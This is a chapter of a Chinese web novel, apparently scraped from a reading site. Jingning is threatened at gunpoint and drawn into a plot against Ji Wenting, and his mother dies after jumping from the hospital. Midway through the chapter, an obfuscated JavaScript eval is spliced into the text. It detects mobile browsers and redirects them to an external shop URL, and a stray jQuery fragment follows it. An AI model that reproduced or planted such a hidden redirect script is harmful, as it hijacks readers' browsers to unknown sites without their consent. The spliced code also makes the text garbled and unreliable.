65.第65章
    景宁默然片刻,擦了把眼角的泪,哑声说:“好,我明天就把她……”

    结果唐锦容又突然一把将景宁推开,瞪大浑浊地双眼,满脸恐惧摆手:“不见不见,我不见她!你不要把她带过来,她恨我,她恨我呢!我们现在这样,怎么见她啊,让她平平安安的度过一生吧,景宁,你答应妈妈,你不要去打扰她的生活,让她就像个普通孩子一样长大吧……”

    仿佛一把钝刀落下,景宁攥紧了床边的围栏,眨了眨酸涩的眼,说:“好,我答应您。”

    许久唐锦容才平静下来,而这样的平静显然是不正常的。

    她躺在床上,麻木无神的看着天花板,无声的掉着眼泪。

    外面烟火璀璨,也唤不起房间内丝毫温情。

    景宁只能徒劳的抱着她,用只有他们能听到的声音,在她耳边说:“我们一家,会团聚的。”

    初五的中午,陪唐锦容吃完午饭,景宁和往常一样跑到了医院楼下的后院抽烟。

    景宁的烟瘾是十四五岁时在拳馆被带坏的,后来去了景家,被景琰逼着戒了烟后景宁再没有抽过。

    可这段时间眼看着唐锦容突然消瘦,病情急转直下,纪温庭又离开了,只能抽几根暂时消消愁。

    不过以防上瘾,他都是克制着抽的,从不多抽。

    景宁看着寂白的天,心中陡然生起一股迷茫。

    抽完烟,散了味道,景宁就要转身回医院时,他察觉到身后悄无声息跟上来了一个人。

    景宁是有警惕心的,下意识就要反击,可刚打算侧身,就感觉到一个圆润的东西抵在了自己的后腰。

    景宁登时头皮发麻。

    如果换做之前景宁未必能知道这是什么,但前段时间纪温庭教自己握过太多次,景宁对这个玩意儿的手感已经很熟悉。

    那人也应该知道这里是纪家的地盘,并没有轻举妄动,低声在他身后说:“景先生,别激动,我不伤害你,就是想和你聊聊。”

    景宁僵硬着身体,侧了侧头,冷声道:“我不认识你,我们之间没什么好聊的。”

    那人轻笑一声,说:“你不认识我没关系,你认识许清妍就行了。”

    瞬间,景宁手脚冰凉,一股寒气从脚尖冲向四肢百骸。

    五分钟后,景宁先去了趟楼上病房,告知护工自己饿了,先去楼下吃点东西,等母亲醒来了再告诉自己。

    然后若无其事下楼,走出医院后才在纪家监控不到的拐角,上了一辆没有牌照的黑色轿车。

    车里只有两个人,一个是司机,还有一个就是刚才用枪抵着他威胁的人。

    那人是个寸头,身形高大,五官深邃立体,看人的眼神像是瞄准猎物的狼,爆发出危险的光芒。

    景宁还算镇定,一点也没有被胁迫的紧张,坐上车就开门见山:“你想要我做什么?”

    那人眸色一亮,挑了下眉,意外道:“都不迂回一下啊。”

    景宁平静叙述道:“我的价值就这些,你找我不是做棋子,还能干什么?”

    因为被摆布控制太多次,景宁甚至习以为常。

    他是个太容易被摆控的人,软肋那么好拿捏,就算是利用完后杀掉也没有人会为自己报仇。

    好利用,好解决。

    景宁并不觉得悲哀,因为这就是他的命。

    男人好像很是欣赏他这种自我定位清晰的样子,拍了拍手,说:“景先生,你猜的没错,我们找你的确是有事情想要和你商量商量。不过嘛,也不能说把你当棋子,我们这桩生意,一举两得。”

    景宁看着窗外飞快掠过的景色,察觉这人带着他在这片郊区转圈,因为没有牌照的车去不了市区。

    即使这片有纪氏拍下的监控,他们后座是单面玻璃,也压根拍不到车里的人。

    景宁淡淡收回思考的视线,闻言头也不回道:“说说看。”

    男人笑道:“坦白说吧,我不是想要谁的命,我也知道你接触不到纪家核心的机密,所以不会让你铤而走险做些什么,因为我想要拿到的只有纪温庭的命。”

    景宁笑了一声,一语道破他这样说的用意:“不用拐这么大的弯,难不成你让我去干的事情就很简单吗?”

    男人也不解释,目光在景宁身上打量一瞬,叹出口气,意味深长道:“你在纪家这些天恐怕不好过吧,伺候着他们兄弟两个的同时,又要读书又要照顾妈妈……千里外,还有另一个人需要你时时刻刻牵肠挂肚。”

    说到那“另一个”的时候,男人才终于在景宁的脸上看到细微的变化。

    刺骨的冷色饶是他这种刀尖舔血的人,心也不由得颤了下。

    “不要动她。”

    男人也不是吃素的,摊了摊手,笑道:“只要我们合作顺利,我不仅不会动她,我还会保证你和你母亲可以顺利离开a市,从此过上逍遥快活的日子,谁也找不到你们。在a市他纪温庭是手眼通天,可是离开了a市可就不一定了。”

    景宁沉默半晌,像是走投无路,满怀希冀的问他:“你有把握吗?”

    男人立马道:“当然。”

    景宁沉默半晌,低声说:“让我考虑。”

    “没问题,不过我希望你最好能在元宵节前给我答案。”

    黑色轿车再次将景宁送回了他上车时的那个地方。

    在景宁推门下车时,那男人漫不经心的依靠在另一边车门上睨着他,悠悠道:“对了,我叫孟远寒。”

    景宁愣了一下,然后头也不回地推开门下了车。

    他没问之后他们要怎么联系,因为他知道对方想联系自己是件非常容易的事情。

    景宁晚上不能留在医院,在医院陪唐锦容吃完晚饭后就回了自己在学校周边的那所公寓。

    睡前纪温庭如常打来了电话。

    自从他走后两个人每天晚上都会打视频电话。

    有时候景宁打过去,景宁如果回来晚了,纪温庭就会打过来。

    景宁坐在床上,耷拉着眉眼看着屏幕那头的纪温庭:“在那边顺利吗?”

    纪温庭笑:“顺利,你看上去心事重重。”

    景宁闷闷“嗯”了一声,却没说是什么事。

    “是因为……妈妈吗?”

    景宁没有否认,只说:“明明也按时吃药了,也有好好治疗,可就是一直不见好……”

    纪温庭皱了皱眉,抬起眼看向他,神色带着一种令人镇定的力量。

    “景宁,你已经做的足够多,力所能及,就不要觉得遗憾和愧疚。”

    景宁看着纪温庭漆黑的眼眸,也许是感知到风雨欲来,没有往常的满足,心里空落落的,只有一阵冷寂。

    不像是安慰和开导,具体是什么景宁又有点说不上来。

    初十的时候,景宁收到了孟远寒发过来的匿名信息。

    “哈罗,考虑好了吗?”

    景宁看了眼,等到晚上回家才回了一个时间:“十五。”

    对方倒是回得快:“OK。”

    景宁这些天里没能睡一个好觉,白天看着精神尚可,晚上几乎沾床就睡。

    疲惫占据了他的大脑。

    以至于半夜打过来的那通来自医院的紧急电话,第二次响起时景宁才听到。

    他看到来电人,登时清醒,猛地从床上坐了起来。

    “景先生,不好了,唐女士跳楼自杀,现在正在医院抢救!”

    景宁赶到医院的时候,只穿了一件单薄的睡衣。

    他神色镇定,只有面色苍白的可怕,双眼黑沉沉地望着急救室的灯光,像没有灵魂的机械、空荡的幽魂。

    护工看到他,立马泣不成声和他说事情经过。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14267560|135813||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    “……唐夫人化疗以来胃口就一直不好,吃什么吐什么,当时唐夫人突然说她喝粥,我很高兴,立马去医院食堂给她买粥。没想到回来的时候就有人告诉我她打开医院走廊的窗户跳了下去……”

    “对不起景先生,求您帮我和纪先生说说好话!是我的疏忽,我没有注意她的异样,但是求您放我一条生路,我还有家人……”

    之后的话景宁没怎么听清,她现在哪里还能听得进别的呢。

    他想也许现在山崩地裂,他也只会一动不动地站在这里,仿佛等待宣判的死刑犯。

    护工不知道是什么时候被带走的,其实陆陆续续来了很多人,有的劝景宁想开点,有人给景宁披上了毛毯,有人想让他去坐着。

    他一概不理,紧绷着一张脸站在那里,像屹立不倒的雕像。

    景宁自己都不知道他有多吓人,医生护士们劝都不敢劝。

    自己像也没有待很久,急救室的门就开了。

    在看到医生灰白面色的那一刻,景宁就知道,终年悬在头顶的那把剑,终于是落了下来。

    “景先生,唐女士的身体历经两次大手术后还没有恢复完全,又因为病情恶化身体逐渐虚弱……这样冷的天,从五楼跳下来……内脏出血……无力回天……对不起,我们真的已经尽力了。”

    见景宁不语,医生也有些看不下去,不忍道:“您还可以进去看她最后一眼。”

    景宁点点头,语气麻木的说:“谢谢医生。”

    景宁走进了那间灯光如昼的病房。

    手术器械都被撤走了,空荡荡的手术床上,躺着消瘦的身躯。

    曾经这身体背着自己从一个城市到另一个城市,为自己受尽冷眼吃尽苦头。

    景宁知道也许后来乃至现在,唐锦容也没有那么爱自己,可是曾经,他和唐锦容就是彼此唯一的亲人,唯一的牵绊。

    是她给了自己第一次心跳。

    景宁迈着千斤重的步伐缓缓走到唐锦容身边,将她柔软无力的手握在自己的手心,想要把她捂热,然后欺骗自己会没事的,能留住的。

    “宁宁……”

    唐锦容好像察觉到他来,很小声的喊他的名字。

    可女人哪怕费力,也只能半抬起沉重的眼皮看自己一眼。

    “妈妈,我在呢,我在。”

    一出声,眼泪就像是开闸的河坝,和着痛苦,潮水般汹涌而来,将他淹没,把他淹没在令人窒息的浪潮中。

    唐锦容已经神志涣散,或许都没有听清楚自己在喊她,自顾自的说:“宁宁,不要恨我,妈妈也想好好活着,我还想见见我的倾倾,她离开我的时候还那么小,可我不能见她,我会害了她,我对不起她,或许她已经,这个不称职的妈妈忘了……”

    “不会的,不会的。”景宁哽咽着,拼命摇头,攥紧她的手,“我每年都会给寄您的照片,她肯定认得您,忘了谁也不会忘了您。”

    唐锦容费力莞尔,气若游丝。

    “我很痛苦,我不知道为什么命运要这么对我,没一个我爱的人都会抛弃我……宁宁,妈妈真的支撑不下去了,其实从我的手再也拿不起大提琴那一刻,我就已经觉得疲倦至极了……”

    景宁浑身颤抖,拼命恳求着,在她耳边说:“不要,不要留下我一个人,求你了,求你了……”

    可是唐锦容已经听不见,眼神开始涣散,喃喃道:“只要倾倾过得好,我没有遗憾了…………”

    话音落下,唐锦容的胸膛停止了起伏,心脏监护仪也传出了刺耳的警报声。

    那些嘈杂落在景宁耳朵里变成了一片致命的嗡鸣。

    他感受不到痛苦,他空洞地看着唐锦容至死都没有合上的双眼,麻木的喃喃自语:

    “可是我从来没有想过放弃您,为什么您可以为了别人活着,为了我却不行……”